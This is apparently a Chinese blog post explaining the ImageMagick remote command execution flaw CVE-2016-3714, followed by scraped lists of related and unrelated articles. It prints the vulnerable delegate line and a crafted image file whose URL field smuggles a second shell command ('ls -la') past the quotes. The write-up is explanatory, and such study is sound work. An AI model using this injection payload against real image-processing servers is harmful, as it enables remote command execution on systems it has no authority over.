CVE ID: CVE-2016-3714

我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流。

It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.

先拿中文写吧。

I will write in Chinese at present.


学习了这篇文章
学习了这篇文章

存在漏洞的ImageMagick版本

由于ImageMagick在Java/PHP/Python等库中应用广泛,所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单,ImageMagick在处理url为https开头的图片时,对于图片地址字符串没有进行过滤就直接放入system()执行,导致存在命令注入:

"  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

status=system(sanitize_command);

注意,%M是占位符,代表图片url。所以command实际上是:

"wget" -q -O "%o" "https:%M"

那么如果我们的图片url是类似于下面的:

https://example.com"|ls "-al

则command变成了:

"wget" -q -O "%o" "https://example.com" | ls "-al"

也就是说,引号被提前闭合了(跟基本的SQL注入很像吧)

在本地测试一下:

成功执行了ls -al

我们可以把命令写入一个图片中:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

保存为x.png:


End:

哎人艰不拆人艰不拆,你们这种漏洞真的好嘛 : )

ImageMagick Remote Command Execute的更多相关文章

  1. PowerShell vs. PsExec for Remote Command Execution

    Posted by Jianpeng Mo / January 20, 2014 Monitoring and maintaining large-scale, complex, highly dis ...

  2. struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  3. struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  4. JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution

    CVE ID : CVE-2019-7727 JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution description=========== ...

  5. [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)

    ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...

  6. Android shell command execute Demo

    package com.android.utils; import java.io.File; import java.io.IOException; import java.io.InputStre ...

  7. struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  8. struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  9. [EXP]Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)

    ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...

随机推荐

  1. knockout源码分析之订阅

    一.主类关系图 二.类职责 2.1.observable(普通监控对象类) observable(他其是一个function)的内部实现:1.首先声明一个名为observable的fn(这个可以说是一 ...

  2. HoverTree菜单0.1.3新增效果

    HoverTree菜单0.1.3增加弹出菜单的动态效果,可以是动态下拉,也可以是动态淡入. 效果请看:http://keleyi.com/jq/hovertree/demo/demo.0.1.3.ht ...

  3. [deviceone开发]-do_RichLabel的简单示例

    一.简介 do_RichLabel支持html格式的文本内容,但是只支持部分标签,这个示例列出了一些支持的常用标签,android能支持的标签相对ios更少 二.效果图 三.相关下载 https:// ...

  4. 原生JS:Number对象详解

    Number对象 本文参考MDN做的详细整理,方便大家参考MDN JavaScript 的 Number 对象是经过封装的能让你处理数字值的对象.Number 对象由 Number() 构造器创建. ...

  5. 初试在线破解工具Hydra爆破3389服务器

    hydra是一款全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的. 在Kali Linux下已经是默认安装的,于是测试爆破一下自己的一台VM虚拟机服务器.hydra还支持G ...

  6. JavaBean 基础概念、使用实例及代码分析

    JavaBean 基础概念.使用实例及代码分析 JavaBean的概念 JavaBean是一种可重复使用的.且跨平台的软件组件. JavaBean可分为两种:一种是有用户界面的(有UI的):另一种是没 ...

  7. TCP连接状态与2MSL等待时间

    1 连接状态图 2 建立连接:三次握手,不使用DNS和使用DNS 3 关闭连接-四次握手 连接双方任何一方调用close()后,连接的两个传输方向都关闭,不能再发送数据了.如果一方调用shutdown ...

  8. display:inline-block 去除间隙

    先写出代码 核心css代码: .sample0{display: inline-block;height: 40px;width: 40px;color: #ffffff;background-col ...

  9. CMMI4级实践中的5个经典问题及解答

    这五个问题相当经典而且比较深,需要做过CMMI4.5级的朋友才能看懂这些问题.这5个问题是一位正在实践CMMI4级的朋友提出来的,而解答则是我的个人见解. 五个疑问是:   A.流程,子流程部分不明白 ...

  10. BitTorrent Sync - 神奇的文件同步软件,无需服务器让多台电脑互相同步!

    176,487 微博 腾讯 空间 微信 141 49 如今人们对文件备份和同步的需求已经越来越强烈了.像 Dropbox 一样的云存储网盘有很多,但它们都有一个局限性,就是所有的文件都得经过它们的服务 ...